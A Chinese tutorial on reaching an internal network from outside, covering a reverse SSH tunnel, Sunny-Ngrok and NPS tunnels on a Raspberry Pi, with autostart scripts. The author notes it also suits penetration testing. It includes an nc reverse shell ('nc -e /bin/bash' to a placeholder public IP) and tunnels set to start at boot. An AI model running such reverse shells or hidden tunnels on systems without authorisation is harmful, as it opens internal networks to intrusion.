下面只是日常作者我自己用的内网穿透的方法,在渗透测试里面也可以使用

简单说

a内网,b公网,c内网
在c内网怎么访问到a的内网里面,就和访问c内网其他主机一样?
可以用花生壳内网穿透很简单。就不多说了
都是树莓派就不行了,如果进行,没有远程ssh就不行了,不能进行渗透测试

下面这几种方法只能算是临时的

开始操作

  1. 反向ssh隧道从内网就可以做到
    内网执行的命令

    1
    ssh -fN -R 5555:localhost:22  root@公网ip

    服务器执行的命令

    1
    ssh root@localhost -p5555
  2. nc反向反弹shell

    服务器执行的命令

    1
    nc -lvnp 4455

    内网执行的命令

    1
    nc -e /bin/bash 公网ip 4455

    树莓派安装的是kali linux系统 安装花生壳树莓派,

花生壳地址https://hsk.oray.com/download/
应为树莓派我安装的arm64位的,他只有32位的,安装不上
下面命令对32位的支持

1
dpkg --add-architecture armhf

反正还是安装不是,不知道怎么回事
在这里插入图片描述

树莓派用Sunny-Ngrok内网穿透

官方http://www.ngrok.cc/
在这里插入图片描述

1
./sunny clientid  隧道id

在这里插入图片描述
自启动http://www.ngrok.cc/官方说明

1、下载客户端

这一步就都不用说了大家都知道怎么操作。下载完成之后将客户端执行文件移动到 /use/local/bin 目录下并给予可执行权限。

1
2
sudo mv sunny /usr/local/bin/sunny
sudo chmod +x /usr/local/bin/sunny

2、编写启动脚本

1
sudo vim /etc/init.d/sunny 启动脚本代码

把代码里面的【隧道id】替换成自己的隧道id

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/bin/sh -e
### BEGIN INIT INFO
# Provides: ngrok.cc
# Required-Start: $network $remote_fs $local_fs
# Required-Stop: $network $remote_fs $local_fs
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: autostartup of frp for Linux
### END INIT INFO

NAME=sunny
DAEMON=/usr/local/bin/$NAME
PIDFILE=/var/run/$NAME.pid

[ -x "$DAEMON" ] || exit 0

case "$1" in
start)
if [ -f $PIDFILE ]; then
echo "$NAME already running..."
echo -e "\033[1;35mStart Fail\033[0m"
else
echo "Starting $NAME..."
start-stop-daemon -S -p $PIDFILE -m -b -o -q -x $DAEMON -- clientid 隧道id || return 2
echo -e "\033[1;32mStart Success\033[0m"
fi
;;
stop)
echo "Stoping $NAME..."
start-stop-daemon -K -p $PIDFILE -s TERM -o -q || return 2
rm -rf $PIDFILE
echo -e "\033[1;32mStop Success\033[0m"
;;
restart)
$0 stop && sleep 2 && $0 start
;;
*)
echo "Usage: $0 {start|stop|restart}"
exit 1
;;
esac
exit 0

3、测试可执行代码

1
2
3
4
5
sudo chmod 755 /etc/init.d/sunny
sudo /etc/init.d/sunny start
sudo /etc/init.d/sunny start #启动
sudo /etc/init.d/sunny stop #停止
sudo /etc/init.d/sunny restart #重启

4、设置开机启动

1
2
3
cd /etc/init.d
sudo update-rc.d sunny defaults 90 #加入开机启动
sudo update-rc.d -f sunny remove #取消开机启动

在这里插入图片描述

搭建nps内网穿透

安装

下载

1
wget https://github.com/ehang-io/nps/releases/download/v0.26.8/linux_amd64_server.tar.gz

解压

1
tar -zxvf linux_amd64_server.tar.gz

下载安装

1
./nps install

启动

1
./nps start

他把文件安装在/etc/nps/
他的配置文件在/etc/nps/conf/nps.conf
进入配置文件

1
vi /etc/nps/conf/nps.conf


配置完成后重启

1
./nps restart|

登录web

阿里云添加规则

访问

添加客户端


注意这个密钥下面会用到

树莓派安装

下载

1
wget https://github.com/ehang-io/nps/releases/download/v0.26.8/linux_arm64_client.tar.gz

解压

1
2
tar -zxvf linux_arm64_client.tar.gz
http://107.175.142.60:8089/linux_arm64_client.tar.gz

解压出来会有一个npc文件连接nps服务器

1
./npc -server=阿里云的IP:客户端连接的端口  -vkey=密钥

连接成功

配置隧道

已经连接上了

添加隧道


客户端ID在

配置结果

可以看见可以访问了

添加开机自启动

创建一个nps.sh文件文件内容

1
2
3
#!/bin/sh
cd 树莓派nps解压出来的文件目录
./npc -server=阿里云的IP:客户端连接的端口 -vkey=密钥

执行权限

1
chmod 777 nps.sh

添加启动

1
2
vi /etc/xdg/autostart/nps.desktop
内容
1
2
3
4
[Desktop Entry]
Name=nps
Type=Application
Exec=上面那个nps.sh文件地址